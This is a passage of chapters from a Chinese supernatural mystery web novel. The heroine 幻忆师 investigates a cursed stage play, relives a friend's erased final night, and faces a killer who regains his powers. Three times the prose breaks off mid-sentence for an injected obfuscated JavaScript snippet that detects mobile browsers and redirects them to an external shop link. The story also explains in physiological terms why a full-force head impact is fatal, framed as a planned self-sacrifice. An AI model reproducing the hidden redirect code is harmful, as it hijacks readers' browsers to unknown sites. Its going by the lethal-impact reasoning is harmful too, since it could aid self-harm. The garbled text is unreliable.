我望见饰智矜愚的赌徒把希望孤注一掷在无边的黑暗与万物的终章,我将一直注视着你们,我会成为最后一名聆听者与传述者。】 纸片上有些干涸的水渍,明显是从某本书上剪下的细细长长的一小条,它似乎被人一小块一小块地撕开过,难为找到它的人能够把它恢复原样。 幻忆师轻轻抚过它的边缘,指尖下是纸张表面残留的不规则纤维,那是它曾经完整时与母体相连的证明。 “你先读的这个再去看话剧?” 圆脸女生点头如捣蒜。 想象推理在这时是最好的选择,储藏室的布局清晰地浮现在幻忆师眼前。 她仿佛亲眼看见一个面目不清的人拿着伪人李老师给的钥匙偷偷打开保险箱。 一页页看完枯败王朝剧本后,他拿起注射器和一小瓶清澈的药液,然后他迟疑了。 【在离开时,务必自行注射最外层保险箱内的短期记忆删除剂。 如无短期记忆删除剂或该药剂失效,及时采取其它有效措施。如无有效措施可供采取,立即执行紧急方案A。】 他反复看了几遍这段说明文档,再次检查一遍药液,还是不能确定这是有效的短期记忆删除剂。他的目光停留在文档的最后一句话上,额角冒出细细的冷汗。 这种情况下,不难想象“紧急方案A”是什么。 最终,他把剧本中的一段裁剪下来,紧紧攥在手心,开始为自己注射药剂。 随着活塞的推动,药液缓缓进入他的身体,他的呼吸似乎一同停止了。 针头拔出后,药物直接进入血液循环迅速起效。 他的神情有种劫后余生的喜悦——枯败王朝正在一句句从他的脑海中消失,药剂是有效的。 他展开手掌,把手心里汗津津的纸条一点点撕碎,撕碎后却不舍得扔掉。 而是把它当成一个退路藏在架子底下,他没将百分百的信任交付给伪人李老师。 然后他收起地上的注射器、空药瓶和包装袋,不,没有包装袋,圆脸女生打扫时捡到了包装袋。 他怎么会忘了包装袋?一个谨慎地给自己留后路的人,为什么把包装袋遗留在室内? 在短期记忆删除剂生效期间,他一定抓紧时间做了最后一件事。 幻忆师的视角拉近至三层保险箱。 那页剪过的剧本被再次拿起,他把附近几页一起撕下来,在手中揉成一团,准备毁尸灭迹。 紧接着,他忘记了枯败王朝,忘记了地上还有个没捡起来的包装袋。 药剂完全生效,他无法理解自己为什么拿着一堆垃圾站在陌生的屋子里。 幻忆师问圆脸女生:“如果你睡醒后发现自己手里攥着一堆废纸、用过的注射器和空药瓶,你会先做什么?” “会被吓一跳,然后赶紧把东西扔得远远的。” “这栋楼的垃圾桶在哪?” “一楼厕所里有一个,楼后面有好几个。”圆脸女生想了想。 “厕所里的垃圾桶有个很凶的保洁阿姨盯着,她不让人往里扔垃圾,有垃圾直接扔楼后面。” “楼后面的垃圾桶多久清理一次?” “一天一次吧,我不清楚。” 根据黄子璇的描述,她昨天晚上领到的储藏室钥匙,那个人一定是昨晚前来拿枯败王朝。 即使他真的把手里的东西扔进垃圾桶,垃圾桶也很可能被清理过了。 “橡胶手套借我用用。”幻忆师准备去碰碰运气。 圆脸女生连忙把手套脱下来给她:“是要翻垃圾吗?我和你一起。” “你回储藏室等着,别再随便出去了,你虽然不会被污染,但外面还有别的危险。” “那子璇怎么办!”圆脸女气呼呼地大喊,她好像从没这么大声说过话,喊完就慌乱地捂住嘴。 把橡胶手套戴在手上,幻忆师耐心解释:“黄子璇没把你当朋友。” “她早就接到摄影兼职,却骗你那是突然来的急单,是为了让你替她打扫储藏室。因为她上周打碎了储藏室里一个很贵重的瓷瓶,闯祸后还没告诉老师。” “啊?”圆脸女生瑟缩了一下,“她想栽赃嫁祸我?” “对,别把她当朋友了,你值得更好的朋友。” 幻忆师头也不回地走下楼梯。 不幸中的万幸,垃圾桶没有被清理,可能清洁工也被枯败王朝污染了。 那几页纸上记载了一个真真切切的悲剧,撕下后能抵抗污染的部分是梅利埃格洛被囚禁于高塔后写下的道白。 幻忆师决定亲自去话剧社看一看,她把手套洗净放在储藏室门口,发现余光中的众王之王越来越近了。 她控制住自己不去看祂,一路畅通无阻地来到老教学楼前,这栋老楼被人海围住,连大门前的台阶上都是人。 很快,她发现自己根本不用进去,狂热的人群将礼堂的玻璃窗全部打碎,演员的声音通过室内设备清晰地传出礼堂。 靠在路边的一颗树上,幻忆师远远望向舞台,她看见带着血红色面具的众王之王高居于上首的王座,一群衣着华贵的人侍立在两侧。 与此同时,她余光中的影子消失了。 众王之王:“我忠诚的子民西西弗斯,你为何穿越城邦与田野,来到我的殿堂?” 西西弗斯:“尊敬的陛下!我鼓起万分勇气,心怀对王国无上的敬意,来到您的福地,所求的不过是一职。此行并非为我个人的荣华,愿我有幸获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061736|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得您的垂怜!” 众王之王的声音听不出喜怒:“你来自民间,未经历练,宫廷要职非仅凭一腔热血可胜任。” 西西弗斯:“陛下,我历经磨难!在雾与光的交界处,我用智慧和勤劳拥抱光,而后光明接纳于我!” “无需贵族之血和显赫之名,知识与努力也能引领我等上升,无忧城下无数的牧羊人、彩纳河中数不清的捕鱼者,我们与贵族之子并无任何不同,我们将为您,为无忧城的王献上无比的忠心与祝福!” 众王之王大怒:“我为你感到羞耻——你竟是吾友之徒!我为众王之王,亦不曾妄言光明接纳于我!” 许久没有出现的报幕人突然发声:“众王之王震怒,下令即日处死西西弗斯。” 梅利埃格洛:“请您原谅他,我的主人。他非全知者,亦非血统高贵者,他仅仅是一个狂徒。” “一个因我错误的教导而产生的狂人。我深知自己的错误,愿自缚于高塔之上,用余生陪伴在陛下身边,陪伴在我唯一的友人身侧。” 众王之王:“你亦是我唯一的友人,我最忠实的仆人。西西弗斯将永受无效无望的巨石之刑。而你,我的老师,你此生将再不收徒。” 梅利埃格洛哽咽着重复:“我此生将再不收徒。” 幻忆师把手伸进风衣口袋,无意识地摸着那几页纸。纸上的内容和这一幕话剧并不完全接轨,但结合内容大概能理解后面发生的事。 民心所向的西西弗斯被罚去推石头,唯一能规劝众王之王的梅利埃格洛被囚禁,人民积压着对王庭的愤怒,群起而攻之。 战无不胜的众王之王失去了人心,他的友人却在高塔中笔耕不辍,写下那段道白。形势每况愈下,众王之王束手无策,前来请教友人。 梅利埃格洛为她的王献出了此生最后一个计谋——将人们的仇恨集中在自己身上。 对外宣称她蛊惑了善良仁慈的王,将她处死后拔擢平民之子,并赦免西西弗斯以平民愤。 幻忆师从垃圾桶里刨出来的那几页纸只记载到这,她摸出那段可以抵抗污染的道白,随便抓住身边的一个人想试试效果。 安静观看演出的人群突然爆发出一阵惊呼,幻忆师警醒地望向舞台,舞台上一切正常。 他们怎么激动成这样?幻忆师拽着被她抓住的倒霉蛋,悄悄往树后躲。 小声念完道白后倒霉蛋没有任何反应,看来道白不能拯救已被污染的人。她回头看了一眼综合楼的方向,为自己规划好逃跑路线。 在她回头的同时,她手里抓着的人骤然往下一沉,扑通一声跪到地上。等幻忆师回过头来,除她之外的人全部跪下,目之所及全是黑压压的人头。 沉沉暮霭中,他们双眼紧闭,直挺挺地跪在地上,双手十指交叉抵在鼻子下方。 众王之王,枯败共主。 幕后孤影,残霞为裳。 男声与女声交织在一起,奇迹般合为一个声轨。 铁杆虬枝,月隐星藏。 王之影长,夜幕低昂。 有人高声恸哭,失禁后匍匐在地上,用力撕咬着手部动脉。 雾冕沉凝,花不应放。 血流浮丘,哀歌未央。 个体的界线在此时变得极其模糊,所有人的心跳与呼吸似乎都同步起来。 经历过被污染者多次的祷告,幻忆师已经明白他们是在召唤祂,那位血红色的被缚之王。 这时想跪下混入其中已经晚了,想跑也肯定跑不掉,幻忆师干脆继续靠树站着。 她不合时宜地替刘天怡感谢起婉婷,甚至想给婉婷编段不着边际的祷词。 众王之王就这么出现在舞台的场景边缘,台上的演员仿佛被按下了暂停键。 等幻忆师回过神,她已经来到舞台上,被众王之王掐住脖子提了起来。 她无力地晃动双脚,徒劳地张嘴妄图摄取一丁点空气。她惊恐地发现自己无法升起反抗的念头,只听见一句响彻脑海的低语。 【原来如此,你身上的模因抑制并非我的友人......】 18. 告别 恶心的眩晕感像是窒息感同生共死的朋友,相约一起降临到幻忆师身上,她恨不得立刻昏过去。 但人体的适应力如此神奇,她发现自己继熟练掌握用余光观察事物后,又适应了回到过去带来的眩晕。 她一边无法控制地干咳,一边抬手摸了摸自己的喉咙。 等等。 幻忆师僵硬地用右手摸摸左手,趔趄着爬起来找镜子,镜子里是少年刘天怡的脸。 在众王之王的能力下,她不仅回到过去,还能操控刘天怡的身体,不再是一个无能为力的鬼魂。 几乎是迫不及待地冲出家门,幻忆师要先确定今天的日期,然后跑去学校。 门一拉开,外面站着婉婷,幻忆师脱口而出:“婉婷,今天是1月1日吗?” “你在说什么?”婉婷奇怪地看着她,“我不来上学你就把日子过糊涂了?今天是12月31日。” “新历93年12月31日?” “对啊。” 幻忆师再次下意识地摸上自己的脖子,即使那里没有任何伤痕。 “你脖子怎么了?”婉婷紧张地问。 “没事,刚刚的可乐气太足,溅我脖子上了。” “吓死我了,我还以为是......”婉婷停顿了一下,“我是来和你告别的。” 楼道里的声控灯灭了,婉婷的神色在黑暗中模糊不清。 幻忆师把她拉进家里:“进来说话,我家只有我自己,爸妈都出去了。” “你不问我为什么来告别?” 今晚和新历94年的第一个夜晚大有不同,如果说婉婷死的那晚月光如水,那么今晚的月光晦暗得如同某种巨兽的影子。 它忽明忽暗地潜伏在窗边的缝隙里,平等地窥视着月亮照耀下的每一人。 屋内实在是太暗了,只有她们身后刘天怡的卧室亮着一盏小台灯,幻忆师胡乱按下右手边的几个开关,成功把头顶的吊扇打开了。 “客厅灯坏了,去我的房间说话吧。”幻忆师果断编了谎话,放弃寻找灯开关,转身向卧室走去。 “不要走,就在这里。”婉婷的眼睛在黑暗中发出柔和的色泽,“没有光也很好。” 幻忆师沉默地点头,借着仅有的一点光亮仔细打量婉婷,一周不见,她没有任何变化,实在不像个即将自杀的人。 “我要走了。” “啊?不在这里上学了吗?”幻忆师明知故问。 “不是。”婉婷轻快地说,“我也不知道去哪。” “是有人要把你带走?” “哈哈,”婉婷似乎想到了什么很好笑的事,“可以这么说。” “为什么要和他走?”幻忆师却笑不出来,“留在燕曲市和刘天怡一起上学,一起长大,一起考诞江的大学,这样不好吗?” “挺好的,一切都很好,我超级无敌喜欢现在的生活。但不完全是有人要把我带走,是我自己想走,我必须走了。” “为什么?” “你今天怎么问这么多为什么?”婉婷轻轻地笑,“我也有很多为什么。” “为什么今天始终不如昨天?为什么大人总是很着急?为什么强大的人永远无法接受弱小者的快乐?为什么拥有某件了不起的东西就必须要用?” 婉婷披着如同灰色绸缎的月色,向前迈了一步,她的眼睛越发明亮。 恍惚间,幻忆师以为天地间的月光都被揉进了她的眼睛,才使今晚的月亮如此暗淡。 幻忆师猛然意识到这是婉婷超能力的发动条件,但已经晚了。 她暗自懊悔,自己被那一番推理误导了,她一直坚定地认为婉婷消除记忆靠的是某件物品,而不是其自身的超能力。 此时早已无力回天,她溺毙在那片比正午日光更炽烈的月光中,只能听见婉婷温和的声音: “新历94年1月1日晚,你会忘记当天发生的所有事。” “婉婷、婉婷!”幻忆师一瞬间完全不知道该说什么,“你不想长大了吗?” “如果变成大人需要放弃一切微小而真实的快乐和感动,成为一个永不满足的黑洞,那么我不要长大。” “不是的,不是那样的。”幻忆师一把抓住她的手。 “这个世界上确实有很多糟糕的大人,我替他们向你道歉。要是你愿意等一等,肯定可以看到很多和他们不一样的人。” “说得你好像是个大人一样。”婉婷把自己的手挣脱出来。 幻忆师哑口无言,第一次,也是唯一的一次,她突然没那么想要真相了。 “不要难过。”婉婷快乐地说,“我离开是因为有必须要做的事,大人们做不好这件事,我来做,你来保管。” “什么?”幻忆师声音喑哑,她隐约猜到那是什么。 婉婷向她眨眨眼:“其实我有超能力。” “我知道,你都对我用了。” “我的超能力也有超能力。” “什么意思?”幻忆师第一次听到这种说法。 “就是超能力也有我不知道的能力,我不喜欢它,因为它的诞生以我的离开作为代价。它知道我讨厌它,但它有存在的意义。” “你在说什么?” “我说,等我走后,我的超能力会诞生超能力,那是一个我不知道,你不知道,没人能知道的东西。我现在要将它留给你,伸手。” 幻忆师笨拙地展开手掌,婉婷笑着捏住一小缕月光,放在她的掌心。 “就是这个了,不要知道它是什么。” 像是小狗在草坪上遇见久别重逢的朋友,婉婷给了她一个大大的拥抱:“再见啦。” 婉婷的头发蹭在她的颈侧,痒痒的,她听见婉婷闷闷地说:“把今晚的事也忘掉吧。” 幻忆师陷入无边的黑暗。 “刘天怡,别睡了,放学啦!” 有人在推她的肩膀,幻忆师缓缓睁开眼睛。 她无比清晰地意识到现在是新历94年1月1日,婉婷自杀当天。昨晚婉婷对她说完最后一句话,她意识模糊地睡着了。 把她喊醒的竟然是发卡女生,看来上周的生日会刘天怡没白参加,她揉了揉被压出红印的手臂:“几点了?” “5点10分,刚下课大家都跑没影了。” “你为什么不走?” 发卡女生好笑地看着她:“我做值日,你不走我没法走。快收拾东西,郑颂他们在校门口等我们呢。” “等我们?” “对啊,你要不要和我们一起去吃南门新开的自助小火锅?都是上次生日会你见过的人。” 幻忆师摆出一副为难的样子:“我想去,但班主任老师找我放学后谈话,你先走吧。” “好吧。”发卡女生很自然地支使她,“墩布桶里的水能帮我倒了吗?谢谢你啦,下次和我们一起玩呀。” 目送她蹦蹦跳跳地走远,幻忆师并不觉得刘天怡能和她成为真正的朋友——这是一段从开始就无法平等的友谊。 幻忆师当然不会去帮忙倒水,她已经发现,这个过去的世界只是一段被消除的记忆。 她之所以能够随意地使用刘天怡的身体行动,是因为无论做什么这段记忆都会被消除。 既然会忘记一切,做什么都没用,那代表什么都可以做。当年的刘天怡十有八九是这样想的,她绝对会斗志昂扬地去找赵建宇的麻烦。 刘天怡就是这样的人,赵建宇越劝她别去学校,她越偏要去。 而且少年人总有些宏大的、侥幸的想法:即使我忘记了曾经做过的事,只要这件事对婉婷有用,那么也值了。 刘天怡会做什么?无非是找赵建宇当面对质,再次逼问他关于婉婷的事情。 但幻忆师不会这么做,她这种糟糕的大人有自己的一套生存法则。 幻忆师向窗外看了一眼,发现校园一片寂静,可能因为这个世界只是一段曾经消失的记忆,那些无关紧要的人不会出现。 沿着赵建宇带刘天怡走过的路,幻忆师进入赵建宇的宿舍。 宿舍房门没锁,桌子上放着两杯水,幻忆师上前摸了摸杯子,发现杯子是温热的。 这小子竟然懂得接热水招待客人,或者说,什么样的客人值得他这样关照? 幸好这个四人寝里只住了两人,有空的储物柜,幻忆师毫不费力地躲进去,理直气壮地准备偷听。 没多久,她要等的客人来了。 “你出去的时候没锁门。”婉婷平静的声音隔着储物柜的铁门清晰地传进来。 幻忆师惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061737|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶极了。 “我忘记了。”赵建宇声音发紧,“我平常不会忘事情,这次不知道怎么了。” 柜外传来椅子和地面的摩擦声,茶杯和桌面的触碰声,似乎只有一个人坐下了,另一人侍立在一旁。 “坐。”婉婷发出了奇怪的声音,那声音柔和且富有威压,是幻忆师和刘天怡从没听过的,“说说你的所思所想。” 赵建宇沉默了,似乎在慎重地组织语言,过了好一会,他终于开口:“从那次之后,我再也没成功使用能力,所有的一切都像一场梦。” “有的时候,我会怀疑自己是不是得了臆想症,或者这个世界上真的有超级英雄。” 婉婷的声音如同梦呓,却充满鼓励的意味:“还有。” 又是一阵长久的沉默,再开口时赵建宇的声音里带上了哭腔:“这是惩罚,让我失去能力。” “我、那明明是上天给予我唯一的礼物,那么强大的能力,我可以得到所有人的关注,我甚至有希望直接被送到大城市读专门学院......” 幻忆师相当意外,赵鸭庄杀人事件后赵建宇竟然失去了他的超能力。 赵建宇还在哽咽:“因为那个狗娘养的小杂种,他被我一捏就死了,我才不得不隐瞒这件事,我......啊啊啊!” “咚”地一声闷响,赵建宇似乎从椅子上跌坐到地上。 柜子外是不成声的呜咽与咒骂,婉婷的声音还是很平静:“仔细听我说的话。那少年人害你,你将他杀了,埋下杀人损己的种子。” “若你杀的是不义之人。” 哽咽声变小了:“什么是不义之人?” 又是一声轻响,随后是淅淅沥沥的水声,幻忆师终于忍不住动了动身体,凑到柜子的缝隙去看。 幻忆师看见没戴眼镜的婉婷侧坐在桌子边,抬手轻轻碰倒水杯。 杯子里的水顺着桌沿缓缓流到跌坐着的赵建宇头上,赵建宇傻傻地仰头看,不躲也不说话。 婉婷,那也可能不是婉婷,她继续说:“你看这水。它平等地落到义人头上,也落到不义之人头上。” 她伸出五指,虚虚握住从窗帘的缝隙射进屋内的日光,那微弱的光与细小的灰尘都被她握在掌心: “你看这光,它平等地照到义人身上,也照到不义之人身上。” 她把杯子扶正,用陈述句抛出一个问题:“何为不义之人。” 赵建宇双颊胀满不正常的血红色,他不去擦头上的水,激动地说:“我认为不对的就是不义之人。” “我、我......如果他不欺负我,就不会被我杀死,如果他也有能力,就不会被我一把捏死。” “如果、如果,”赵建宇的脸色一点点衰败下去,“可是我现在没有能力了。” “你若做对了事,它会回来。” “你看,罪就伏在你门前,它必定恋慕你,你却抗拒它。” “我不明白,姆姆。”赵建宇说完这句话,婉婷就干脆地站了起来。 赵建宇一把抱住她的腿:“等等、等等,姆姆!我马上能明白的,我很聪明、很有用!” “罪伏在我门前......我抗拒它。我因为被欺辱,爆发出杀意,激发了能力,杀死那个不义之人......” 赵建宇依旧死死抱着她的腿,他缓缓抬起头,双眼发出雪亮的光:“我要再杀一个不义之人。” 幻忆师透过缝隙,看见那个占据了婉婷身体的人低头望着赵建宇,露出一个平和慈祥的笑容。 “除此之外,还需要我为您做什么吗?姆姆。” “你什么都不用做。”婉婷压低身体,拂去那张圆脸边缘的水珠,“你还那么幼小,你只需等候神的降临,神会用圣爱宽恕你。” “神?我们的神是谁?” “我不知道。”婉婷微笑,“我们会在无知无觉中与祂相遇,不在现在,不在过去,也不在将来。到时候,人才求告祂的名。” Agape 幻忆师心里一沉。 婉婷又摸了摸赵建宇的头发:“而现在,我为你寻得一个不义之人。” 她缓缓站直,轻轻转头,与躲在柜子里的幻忆师对视。 赵建宇那双被肥肉挤压成缝隙的双眼也看了过来。 19. 代号狂徒 赵建宇随手抄起一部厚重的字典,向储物柜走来。 幻忆师根本没打算跑,既然跑和不跑都影响不了结局,那不如留在原地等待接下来发生的事。 出乎她的意料,赵建宇打开柜子发现里面躲的是刘天怡,他竟然放下了字典。 “姆姆,我们不用杀她。赵婉婷虽然不知好歹,但她死前还是做了件有用的事,她让这个人今晚忘掉所有事。” 姆姆,人们对年纪较大的修女的尊称。幻忆师可以肯定,婉婷的身体被不知哪来的超能力者占据了。 可以推测,赵建宇与修女接触,修女招揽婉婷,婉婷拒绝他们,修女看重消除记忆的能力,决定夺舍婉婷。 婉婷做出最后的反抗,选择提前结束自己的生命,将得到某件“东西”交给刘天怡。 现在的婉婷还有超能力吗?那或许只是一具空洞的躯壳。 婉婷逆着光静坐在窗前,她的面孔被镀上一层深邃的阴影,空气似乎凝固了。 上位者的沉默代表无声的否定,赵建宇不敢忤逆她:“我的意思是,在这里杀死她会很麻烦,不如把她一起带到天台上。” “好。”婉婷的面目越发模糊不清,“你是个有主见的孩子。” 去天台让赵建宇杀死我这个“不义之人”,然后伪装成自杀,重新获得能力吗? 幻忆师从柜子里钻出来,赵建宇恶狠狠地推了她一把,示意她走在前面。 他们一同来到宿舍楼的楼顶,幻忆师耳边传来呼呼的风声。 北方冬季的白天很短,此时已是日暮时分,天边的晚霞混合着楼顶空旷处特有的风,将这个破旧的天台营造成世外之境。 幻忆师看向婉婷:“五年后的王悦也是你吗?” 婉婷微微歪头,微笑着看她。 “我问你。”幻忆师逼近一步,“你对婉婷说过什么?” “闭嘴,你马上要死了!”赵建宇狰狞地扑过来,一把揪住她的衣领,将她往外拽。 婉婷直直地站在天台的边缘,安静地看着他们,似乎在等他们过去。 幻忆师顺着赵建宇的力道向前走,没有半点反抗的意图,她不断转动视角,果不其然看见了那抹红色的影子。 她从喉咙里挤出两声几不可闻的低笑,那笑声很快被天台的风声淹没,但献给众王之王的祷告却清晰地传了出来。 “众王之王,枯败共主。幕后孤影,残霞为裳。” 赵建宇的动作慢了下来,他求助般看向婉婷,婉婷神色安稳:“她在请召一位混沌神。” 幻忆师的半个眼球被红色腐朽的影子覆盖,祂这次来得格外即时。 “铁杆虬枝,月隐星藏。王之影长,夜幕低昂。雾冕沉凝,花不应放......” “让她念吧。”婉婷双臂自然垂落在身侧,“这里还有一个不义之人。” 幻忆师突然不念了,她看见赵建宇那双雪亮的眼睛对准婉婷,或者说,他看的是婉婷的那具躯壳,他松开了紧拽着刘天怡的手。 幻忆师反手抓住他:“杀死婉婷真的是你自己的想法吗?” “赵建宇,你好好想清楚。” 一把打掉她的手,赵建宇漠然道:“你不会想跟我讲大道理,劝我别杀婉婷吧?你有这个资格吗?” 幻忆师看都不看赵建宇,只专注地盯着婉婷:“我管你杀不杀婉婷。” “我只想问你,婉婷为什么是不义之人?” “赵鸭庄事发当天,赵婉婷帮你消除目击者记忆,然后一直保持缄默,她为什么是不义之人?” “她有那样的能力却不愿担起相应的责任,此为不义。”赵建宇的声音坚定极了。 “是谁导致她的超能力不能公之于众?你不杀人,她不帮你,会有这些事情发生吗?” 赵建宇终于被激怒了:“你说得这么轻巧!换你你不反抗吗?这明明不是我的错,是那小杂种太弱了!更何况我为她找到了补救的方法,她却不识好歹,不愿接受!” “你知道吗?”幻忆师用刘天怡的身体露出一个恶劣的笑容,她一步越过赵建宇,与婉婷一起站在天台边缘,“婉婷是个好孩子,是个善良的人。” “可她早就是个死人了。” 好像意识到她要做什么,赵建宇紧绷身体,微微弓背,随时准备冲过去。 “虽然用已死之人达到目的是不义之举,但我本身也不是什么好人” “你猜,我现在将婉婷推下去,再念完最后一句祷词献祭刘天怡,你上哪去找不义之人?” “你的超能力,你的天赐之赋,你的一切,你唯一的希望都消失不见。” “然后,你的老师、你的同学和即将赶来的警察,发现你和两具尸体在一起。” “你还能像上次一样完美脱罪吗?还有第二个婉婷为你永远沉默吗?” 幻忆师又向前一步:“回答我。” 很近,太近了,幻忆师直接逼迫到婉婷面前,这个距离甚至可以看见那双平静如湖水的眼睛中映照着刘天怡的影子。 赵建宇声音沙哑:“你往后退,我回答你。” 幻忆师犹豫了。 “后退!”赵建宇厉声喊。 意外同时发生。 赵建宇毅然决然地冲刺,迎着暮光撞上婉婷。随后,天台下方传来重物落地声。 幻忆师一把推开他,站在天台边缘向下看,下方是和刘天怡记忆中别无二致的场景,她无声地叹了口气。 随后,她听见了一阵关节活动的咯吱声,如同贸然被推开的久未润滑的门轴。 赵建宇的超能力回来了,他变成了一个身躯宽厚,肌肉如同古希腊雕塑般的男人。 这具山峦一样的身躯撑裂了他身上的校服,他却毫不在意,陷入了一种沸腾的狂热。 “喂。”低沉的属于成年男人的声音从赵建宇口中传来,“虽然我和婉婷承诺过不杀你,但我改主意了。” “现在杀了你,她一定会再次原谅我。” 幻忆师认出来了,他是超管部的A级通缉犯,代号狂徒。 她抬头望着那双凶恶的眼睛,念出最后的祷词:“血流浮丘,哀歌未央。” 赵建宇一拳砸了过来,却只打到一片血影。 实际上,幻忆师宁愿被他打到,也不愿意忍受像光敏性癫痫发作一样的痛苦。 眼前是一片快速闪烁的红色强光,即使闭上眼睛,那无处不在的光也能透过眼皮钻进脑子,如同千万只蝴蝶在脑中振翅飞舞。 极端的不适中,卡在脖子上的铁钩都失去了存在感,幻忆师模模糊糊地踢到了一个人。 那个人发出一声痛呼,像个受气包一样被她又踢了几脚,终于手忙脚乱地按住她,把她从铁钩上解下来。 幻忆师大口大口呼吸着空气,感觉自己又活了过来。 救她的人是圆脸女生,幻忆师没有说谢谢,也不说什么让人躲回储藏室的话,只是默默握紧那双救她的手。 她从消失的记忆回到现在,枯败王朝已经接近尾声,众王之王本人作为被放干鲜血而死的国王加入表演,被无数的铁钩挂在舞台中央。 老礼堂破旧的木质天花板上凭空出现了许多虚无的钩子,生满绣痕的铁钩上挂满了各种姿势的人类。 他们密密麻麻地挂在一起,按照红光闪烁的规律轻轻摇摆着。他们虽然还能呼吸,但早已放弃挣扎。 左侧屏幕上用鲜血书写着两个字。 【剧终】 舞台下的场景宛如人间炼狱,血色红光笼罩整个世界,人们陷入了疯狂的争斗,喊叫声、肢体碰撞声和痛苦的嘶吼声混在一起。 所有人都像是最原始的动物,把自己的牙齿拳头当作唯一的武器,肆意攻击着目之所及的一切活物。 幻忆师看见一名中年老师用头撞碎了学生的门牙,那学生好像失去痛觉,反过来抱住中年人的脖子,用膝盖重重顶上他的肚子。 “怎么救他们?”圆脸女生的喊声把幻忆师拉回现实。 不是没有办法,那两页没能上演的剧本是出色的教程,但必须有人为此牺牲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061738|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我有办法。梅利埃格洛的演员在哪?我要她的面具。” 中年老师的惨叫盖过了所有声音,圆脸女生只能示意她向舞台上看。 饰演梅利埃格洛的钱潇在台上和另一位演员捉对厮杀。 幻忆师冲圆脸女生点点头,拉着她穿过疯狂的人群,从侧面上了舞台。 “帮我按住她。” 圆脸女生毫不含糊,从背后突袭钱潇,双手穿过她腋下,双腿紧锁她的一条大腿,像蟒蛇一样把钱潇缠在地板上。 赶紧把银白智者面具拽下来,幻忆师目瞪口呆:“练过?” “没有啦。”圆脸女生有点不好意思,“我喜欢看MMA。” “真是个实用的爱好。”幻忆师神色复杂,“那你自己小心。” 把面具扣在脸上,幻忆师回忆着钱潇那极富情感的咏叹调般的表演,她用尽平生最大的努力模仿: “请停止无端的战火吧,我的主人,我的王,我此世间唯一的友人。” 很可惜,她在模仿上没有一丝天赋,而且她的声线天生平缓,缺乏人类的情感,从前有人评价说她的声音像AI。 幻忆师几乎要放弃了,悬吊在舞台中央的众王之王突然抽动了几下脖子。 一阵喜悦涌上幻忆师的心头,她蓦然转身,面向台下随着众王之王动作安静下来的师生:“无忧城最善良的臣民们,请听我的道白,我名梅利埃格洛。” “权力的巅峰滋生无尽的诱惑,自我从雾与光中诞生,谎言和残忍随我一同降生。” “我心怀不可告人的目的,终日陪伴在宽容仁慈的盖亚之子身旁。” “如今我深感愧疚,我愿背负所有的罪行,让指责与怨恨汇聚一堂,令死亡与惩罚加诸我身。” “你要做什么!”圆脸女生急得站了起来,被趴在地上的钱潇一把拽住脚踝狠狠摔在地上 圆脸女生哽咽着质问:“这就是你说的办法?你疯了?” 幻忆师要杀死作为梅利埃格洛的自己。 如果必须有一个人牺牲自己,那么这个人只能是她。 她相当清楚,头部和颈椎是人体最脆弱的部分之一,古时那么多名臣能撞柱死谏,是有科学依据的。 用尽全身力气的猛烈撞击会导致脑出血和颈椎脱位,这会直接影响到脊椎,产生立即的瘫痪或呼吸中枢受损,进而迅速致命。 在忽明忽灭的红光照耀下,幻忆师向舞台后的一面承重墙冲去。 她一头撞进一团迷雾中,被丝丝缕缕的白色雾气抱了个满怀。有一双手轻轻替她摘下面具,理了理她鬓角汗湿的头发。 “多好看的头发。”那个声音柔和地赞叹,带着一种奇特的韵律。 “人世间真美妙,能产生这么神奇的发色。如果给你们充足的时间,你们还能发明出更奇异的事物。” 幻忆师确信,这个声音说的不是世界上现有的任何一种语言,但她就是莫名其妙地听懂了,她茫然地问:“你是谁?” “你看过我写的道白,却不愿意听从我的叮嘱。” 祂是梅利埃格洛,幻忆师眼前浮现出道白的内容,恍惚间明白了一切。 【我望见饰智矜愚的赌徒把希望孤注一掷在无边的黑暗与万物的终章,我将一直注视着你们,我会成为最后一名聆听者与传述者。】 “我......对不起,”幻忆师不得不承认自己是自作聪明的赌徒,“我不知道你还在。” “不要道歉,那不是你的错。” 有一丝红光妄图渗入乳白色的浓雾,被梅利埃格洛抓住了:“没有人能够知道我,就像你不知道自己身上有什么。” “你是个模因抑制?”幻忆师脱口而出,她很快意识到不对,“我为什么能记得模因抑制这个概念。” 梅利埃格洛微笑着看她。 幻忆师很快回答:“我知道的,因为你是概念本身。” 浓雾中,梅利埃格洛哈哈大笑,像是被她的自问自答取悦了。幻忆师脱力一般坐在地上,也笑了起来。 20. 手术刀 “现在我们怎么办?” 以往都是别人问幻忆师怎么办,如今她终于有机会问别人怎么办,她有一种天塌下来有高个子顶着的快乐。 